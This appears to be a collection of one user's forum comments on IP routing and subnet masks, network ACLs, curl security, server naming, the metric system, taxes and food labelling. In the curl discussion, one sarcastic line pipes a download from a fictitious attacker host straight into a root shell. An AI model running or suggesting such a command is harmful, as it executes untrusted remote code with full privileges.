When my calculator app in windows is suspended, but has locked 29 threads and is using 60megs of ram. Not that those two values are significant, but why is my caluclator-app “suspended” when I closed it a few days ago since the last time I used it? Shouldn’t it just be closed and not showing up at all.

Reddit is looking for bag holders.

I’m not a software developer, but I absolutely do coding and one of the standard questions I ask is what OS they run on official company approved laptops. Other then a shitty bank I worked at for a few years (bad idea, but at least I got a pension out of it), all of them allow windows, osx, and at least one flavor of linux. If they don’t allow that stuff, you should just turn down the offer anyway.

Layer3 decides where broadcasts stop (at the boundary between two networks, i.e. a router)

Layer2 is where broadcasts go.

This isn’t actually correct. An ip address assignment for a host with an IP requires both the address and the subnet mask. One cannot be assigned without the other. Even more strictly speaking the address by itself isn’t useful to the network stack except as a destination, and isn’t used anywhere in the network stack of the host. There is always a subnet mask, sometimes the mask is assumed to be /32 (255.255.255.255), sometimes /24, whatever. But whenever you are talking about assigning an ip address to any IP speaker, it must include the mask.

The routing table on every IP speaker will include at a minimum a single host-route. That is the IP of the system itself with a /32 mask and the configured interface of that IP. Whether it’s eth0, a bonded interface, a loopback etc.

Once you have that single host route, additional routes can be added as needed. These routes require an address, a subnet, and a next-hop. The next hop can be a directly attached interface, or an IP that the is reachable by another route in the host routing table.

If you have only a host route, as OP has, then the system has no network knowledge, so there are no reachable next hop IPs. So you would have to use a directly connected interface, like the OP did. Once you tell the system 192.168.0.0/24 is reachable through that interface, then any IP Packets that have that network as their destination will use that interface with a source of the one IP it has. In the case of two servers connected back to back, assuming the other server knows where the source of the packet came from, there is no problem sending traffic back.

So to answer the OPs question, there is no difference between one host route, then a static route pointing to an interface, and just a directly connected interface with your server IP on it. They are two different routes that may have different administrative distances, but assuming you aren’t doing anything exotic, for all intents and purposes they are the same.

If you are talking about layer2 concepts like broadcasts, the host-route configured server can still receive broadcasts, but only broadcasts with destination ip of 255.255.255.255, not scoped broadcasts like 192.168.0.255 since it will ignore all traffic that isn’t unscoped broadcast or a full match to it’s own IP address.

Dotted Decimal is just a human convention. IPs are just 32 bit numbers meaning binary digit, and octal, dotted decimal and Hex are all valid representations of that same number. Subnet masks work via binary math.

Almost every single thing you would use an IP address for, you can substitute dotted decimal for octal or hex representations.

Yes, as long as you never connect your TV to the internet, then it is for all intents and purposes a “dumb tv.”

Right but if you want to start doing application level blocking, then the proper tool for the job is a stateful firewall and even better, a RADIUS/Kerberos system that authenticates every connection between servers.

Basically I use ACLs to prevent spoofing attacks from originating out of my network, and also to lock down the management plane of my network devices to specific subnets. In all other cases a stateful firewall should be used exclusively.

In any other case ACLs provide the illusion of security and create a huge amount of operational friction especially in a dynamic environment.

Only if you assume IP Addresses act as authentication for what that host is. But since they don’t, I see ACLs as a security blanket.
I can change the IP of a server I control and bypass any ACL easily. If I have control of my network as well, then no ACL you apply can stop any of my servers from hitting whatever server you have allowed any of my servers to hit. So why not just allow my entire network block?

Network ACLs are my bane. Someone long ago decided we needed to “isolate” the network, so they put ACLs everywhere and so now 50% of my teams time is spend fucking with ACLs :/ It’s awful.

The only thing you need to know about file acls is not to use them. Similar thing can be said for Network ACLs to be honest.

I’ll admit i’m out of my depth about exactly how curl works on the local system, but surely if there is a vulnerability in the “libcurl” library that is much more serious and severe then just saying “curl” is vulnerable.

I’m assuming that libcurl touches a huge amount of the linux network stack.

I don’t see how a vulnerability in Curl can exist at all unless it’s privilege escalation (you don’t run curl as root do you?) And if it’s not a privilege escalation, then it sounds like it’s just a “root user can do things that you can do as root, possibly unintended” which isn’t a vulnerability at all.

sudo curl www.badactor.ru/hackme | bash !!!

All ~60,000 servers are given 32-bit UUID’s, plus a 3 word CNAME from 3 unique and distinct lists of nouns. i.e. a server would have an A record of 1b30fafd-0a28-4999-b51f-bfa2b8af68e5 and a CNAME of tiger-ball-hill. A few servers that I often SSH into will be given friendly cnames like “bastion1” or “ansible” or something like that.

That’s true.

I don’t understand what I’m looking at here? Some reddit-ish place is declaring free-speech then they immediately backpedal and say racist stuff doesn’t count, and also some admins left? So what is the material difference between a “free speech platform*” and lemmy which also doesn’t allow racist stuff?

Which policy is that? Does it have a built in way to prevent accumlation of wealth? Maybe a death tax? Maybe some nationalizing of industry’s? No? Then it sounds like you are the one out of touch.

Oh no! Not the “auth-left.” They may make corporations exist for the good of the people instead of profit.

No what you aren’t getting is that the measurement units are arbitrary. However the divisors for those units is what makes the measurement system useful for people. If you are in construction it’s much more useful to deal with whole numbers then it is to deal with fractions. Hence if you want a third of a foot, you want 4", not .166666 of a Meter. If you are drinking beer you count by the number of glasses of beer whatever size those happen to be, you don’t count in Milliliters of beer. Measurements are supposed to be USEFUL to humans first and foremost, and moving a decimal to convert a unit to a different unit is trivial and can be done regardless of metric or not, and isn’t really useful.

A few nations have. The USSR, the US for Mars and Several nations have crashed things into the moon, unintentionally, including Israel and India. So maybe the problem wasn’t the metric system and something a lot more meaningful instead of what specific arbitrary unit of measurement you think is “better.”

e: Like look at this list: https://en.wikipedia.org/wiki/List_of_missions_to_Mars There are more failures then successes, and only one of those failures was because of different units used for two related measurements. It’s weird to even bring it up as a point about the metric system.

The nearest 5 minutes is a 12th of an hour, the nearest 15minutes is a quarter of an hour. No one ever cares about a 10th of an hour (6minutes) i.e. the nearest minute or second so you inadvertently demonstrated my point. Also the “high precision in seconds” is also conveniently a base 60 system which also goes evenly into a full day, or week, or year despite none of those measurements being metric either.

Decimals are absolutely not intuitive. Whole numbers are. If I say I have .473 liters of liquid how much is that? Sure it’s 473ml’s but how much is that? A lot a little? Could you drink that much? Should you drink that much? If I say, let’s go have a pint of beer, then you would obviously say, sure, maybe two. The amount is the same, but way you think about it is more important.

By the way, 8 pints of beer is gallon, so if you say I don’t want to drink a gallon of beer, you’ll know you should stop at 7 pints. But no one is going to say I can only drink 3.3liters of beer tonight. They may say, I promised my wife no more then 7beers (or 3 that number doesn’t matter), the point is you want to measure things in whole numbers for human-centric activities.

What about time? That’s base-60, and one of the most useful measurements we have.

It’s not about thirds and fourths per se. It’s actually about lack of divisors. In our current metric system of base 10. We have two divisors, 2 and 5. That’s it. No matter if you are talking kilometer, gigameter’s whatever, it’s just 2’s and 5’s The imperial system uses more divisors to make the system more useful. There are 5280 feet in a mile. But why? Well because that number has divisors of 2,3,5 and 11. Which allows you a lot of flexibility for how you want to divide a mile. Or think about time, 3600 seconds in an hour, 24hrs in a day, that’s a lot of ways you can easily divide up time. The ability to divide these arbitrary units of time is what makes them useful.

Hot Take, the metric system, being a base-10 system sucks for task where you want to make thirds/fourths of something to come out as a round number. It’s like the people who are huge proponents of metric don’t know the purpose of a human-centric systems of measurement and think that the ascetics of appending “kilo” or “milli” to something is the purpose on it’s own.

Billionaires just don’t pay taxes. It’s not like they have to let anyone know, they just have the tax code written so that their yachts are tax write-off’s their private estates are historical landmarks and their private jets qualify for the same fuel subsidies that major airlines get.

I have known that “free-range” was a marketing gimmick that was created to help assuage the guilt of people living in an alienating society to differentiate food brands. It has nothing to do with any actual animal husbandry practices which are nearly identical amongst all the worlds abattoirs.

It’s good that people are aware of where their food comes from. It’s an emotional mile-stone that children must overcome to be well adjusted individuals.